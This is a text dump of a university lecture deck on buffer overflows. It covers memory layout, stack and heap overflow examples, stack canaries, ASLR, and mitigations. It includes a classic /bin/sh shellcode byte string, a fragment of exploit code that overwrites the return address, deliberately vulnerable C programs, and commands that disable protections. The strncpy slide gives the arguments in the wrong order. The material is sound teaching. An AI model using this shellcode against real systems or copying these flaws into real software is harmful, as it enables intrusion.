lecture: buffer overflow - iowa state universityhome.eng.iastate.edu/~othmanel/files/cpre562/lecture...

36
Lecture: Buffer Overflow Lotfi ben Othmane

Upload: others

Post on 19-Jan-2021

9 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

Lecture: Buffer Overflow

Lotfi ben Othmane

Page 2: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

• What is a buffer overflow?• How to exploit a buffer overflow?• What are the mitigation techniques?• How to detect a buffer overflow?

2

Plan

Page 3: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

3

Memory Layout

Stack

HeapBSS SegmentData SegmentText SegmentLow address

High address

Page 4: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

#include<string.h>#include<stdio.h>#include <stdlib.h>

int x = 100;int main(){

// data stored on stack

int a=2;float b=2.5;

static int y;// allocate memory on heap

int*ptr = (int*) malloc(2*sizeof(int));// values 5 and 6 stored on heap

ptr[0]=5;ptr[1]=6;// deallocate memory on heapfree(ptr);return 1;

} 4

Memory Layout

Example1.c

Page 5: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

ü x is at 0x804a01c content 100

ü a is at 0xbff21cd4 content 2ü b is at 0xbff21cd8 content 2.500000

ü y is at 0x804a028 content 0

ü ptr is at 0xbff21cdc, content 0x8f64008

ü ptr is at 0x8f64008, content 5ü ptr is at 0x8f6400c, content 6

5

Memory Layout

Data segment

Stack

BSS segment

Heap

#include<string.h>#include<stdio.h>#include <stdlib.h>

int x = 100;int main(){

// data stored on stack

int a=2;float b=2.5;

static int y;// allocate memory on heap

int*ptr = (int*) malloc(2*sizeof(int));

// values 5 and 6 stored on heap

ptr[0]=5;ptr[1]=6;// deallocate memory on heapfree(ptr);return 1;

}

Stack

Page 6: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

int main(){

char buffer2[50];char buffer[12];char *str ="This is definitely longer than 12";strcpy(buffer, str);return 1;

}

6

Simple Buffer Overflow

What is the content of buffer?

What is the content of buffer 2?

Example2.c

Page 7: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

Buffer overflow - More data is copied to the destination buffer than the size of the allocated space .

7

Buffer Overflow

Page 8: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

8

Simple Buffer Overflow

Page 9: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

int main(){

char buffer2[50];char buffer[12];char *str ="This is definitely longer than 12";strcpy(buffer, str);return 1;

}

9

Simple Buffer Overflow

Example2.c

*** stack smashing detected ***

Page 10: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

Stackguard: mechanism to detect changes to specific data stored in the stack

Disable: gcc [filename.c] –fno-stack-protector

10

Protection Mechanism 1 - Stackguard

Page 11: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

11

Protection Mechanism - Stackguard

Return Address

Buffer[11]

Guard

….Buffer[0]

Set the guardmovl %gs:20, %eaxmovl %eax, -12(%ebp)xorl %eax, %eax

Check the guardmovl -12(%ebp), %eaxxorl %gs:20, %eaxJe .L2Call _stack_chk_fail

Code inserted by compiler

Page 12: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

int main(){

char buffer[12];char buffer2[50];char *str ="This is definitely longer than 12";strcpy(buffer, str);return 1;

}

12

Simple Buffer Overflow

What is the content of buffer?

What is the content of buffer 2?

Let’s change the order of buffer and buffer 2. Can we still have the overflow?

Page 13: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

int main(){

char *input = (char *)malloc(1);char *secret= (char *)malloc(1);strcpy(secret, "Password");printf("Enter password");scanf("%s", input);if(strcnmp(input,secret,10)==0)

{ printf("Access granted");}else

{printf("Access Denied");}

13

Heap-based Buffer Overflow

Example3.c

Can we get access without entering the correct password?

Page 14: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

char buff[10]; int pass = 0;char secret[10];strcpy(buff,"Password");printf("\n Enter your password: ");gets(secret);if(strcmp(secret, buff))

{ printf ("\n Wrong Password \n");}else

{printf ("\n Correct Password \n");pass = 1; }

if(pass)printf ("\n Root privileges given to the user \n");

14

So What?

Example4.c

Can we get access without entering the correct password?

Page 15: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

How can we better use the weakness?

15

Uses of Buffer Overflow

Page 16: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

int bof(char *str){

char buffer[24];

strcpy(buffer, str);

return 1;}

16

Stack Memory Layout

•int main(int argc, char **argv){

char str[517];FILE *badfile;

badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);

printf("Returned Properly\n");return 1;

}

stack.c

Page 17: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

int bof(char *str){

char buffer[24];

strcpy(buffer, str);

return 1;}

17

Stack Memory Layout

value of *str

Return Address

Previous Frame pointer

Value of buffer

Current framepointer

Arguments

Local variables

High address

Low address

Page 18: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

18

Stack Buffer Overflow

int bof(char *str){

char buffer[24];

strcpy(buffer, str);

return 1;}

•int main(int argc, char **argv){

char str[517];FILE *badfile;

badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);

printf("Returned Properly\n");return 1;

}

Example5.c

Can we have code in “badfile”?

Page 19: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

#include stdio.hvoid main() {

char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL);

}

19

Exploit - Shell Code

Page 20: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

“\x31\xc0" /* xorl %eax,%eax */"\x50" /* pushl %eax */"\x68""//sh" /* pushl $0x68732f2f */"\x68""/bin" /* pushl $0x6e69622f */"\x89\xe3" /* movl %esp,%ebx */"\x50" /* pushl %eax */"\x53" /* pushl %ebx */"\x89\xe1" /* movl %esp,%ecx */"\x99" /* cdql */"\xb0\x0b" /* movb $0x0b,%al */"\xcd\x80" /* int $0x80 */

20

Shell Exploit

Page 21: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

int bof(char *str){

char buffer[24];

strcpy(buffer, str);

return 1;}

21

Stack Memory Layout for Functions

Exploit

Return Address

Previous Frame pointer

Value of bufferCurrent framepointer

Arguments

Local variables

High address

Low address

Page 22: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

Can we change the return address?

2222

Exploit

Return Address

Previous Frame pointer

Value of bufferCurrent framepointer

Arguments

Local variables

High address

Low address

Stack Memory Layout for Functions

Page 23: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

23

Stack Overflow

void* readaddress(){asm("movl %ebp, %eax");

}

int bof(char *str){

char buffer[24];

printf("\n Address of buffer %p", &buffer);printf("\n Ebp %p", readaddress());return 1;

}

Example5.c

Page 24: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

addr = 0xbffff148 + offset;

ptr = buffer;addr_ptr = (long*)(ptr);

for (i = 0; i < 10; i++)*(addr_ptr++) = addr;

memcpy(buffer + sizeof(buffer) - sizeof(shellcode), shellcode, sizeof(shellcode));

24

Final Exploit

Exploit_final.c

Page 25: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

25

Stack Overflow

int bof(char *str){

char buffer[24];

strcpy(buffer, str);

return 1;}

•int main(int argc, char **argv){

char str[517];FILE *badfile;

badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);

printf("Returned Properly\n");return 1;

}

stack.c

Are we ready?

Page 26: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

Perform the attack

We observe that the program does not display: Returned Properly

26

Page 27: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

void host_lookup(char *user_supplied_addr){struct hostent *hp;in_addr_t *addr;char hostname[64];in_addr_t inet_addr(const char *cp);

validate_addr_form(user_supplied_addr);addr = inet_addr(user_supplied_addr);hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);strcpy(hostname, hp->h_name);}

27

Buffer Overflow in Real Word

Page 28: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

Buffer overflow have played a major roles in attacks such as:• Moris worm of 1988• Code Red worm of 2001• Etc.

28

So

Page 29: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

• Randomize the memory space of the key data area• Text segment• Stack• Heap• Data segment

• Disable randomization: sudo sysctl –w kernel.randomize_va_space=0Value 2 for randomization

29

Protection 2 - Address Randomization

Page 30: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

ü x is at 0x804a01c content 100

ü a is at 0xbff21cd4 content 2ü b is at 0xbff21cd8 content 2.500000

ü y is at 0x804a028 content 0

ü ptr is at 0xbff21cdc, content 0x8f64008ü ptr is at 0x8f64008, content 5ü ptr is at 0x8f6400c, content 6

30

Protection 2 - Address Randomization

Data segment

Stack

BSS segment

Heap

The number of possibilities is limited and could be guessed in few minutes

Page 31: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

• There are safe implementations for memory management functions

• E.g., use strncpy(source, destination, size)

31

Protection 3 – Defensive Functions

Page 32: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

32

Protection 4 – Detect Vulnerabilities Using Code Analysis

From Truecryt report, page 32

Code analysis: Ensure that boundaries are checked before copying

Page 33: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

Arm race – attackers bypass protection mechanisms

33

Buffer Overflow Detection

Page 34: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

Arada Locomate – V2V Device

34

Page 35: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

Arada Locomate – V2V DeviceBuffer overflow hypothesis at read()

35

Page 36: Lecture: Buffer Overflow - Iowa State Universityhome.eng.iastate.edu/~othmanel/files/CPRE562/Lecture 2...Buffer Overflow in Real Word Buffer overflow have played a major roles in attacks

Thank you

Any Question?

36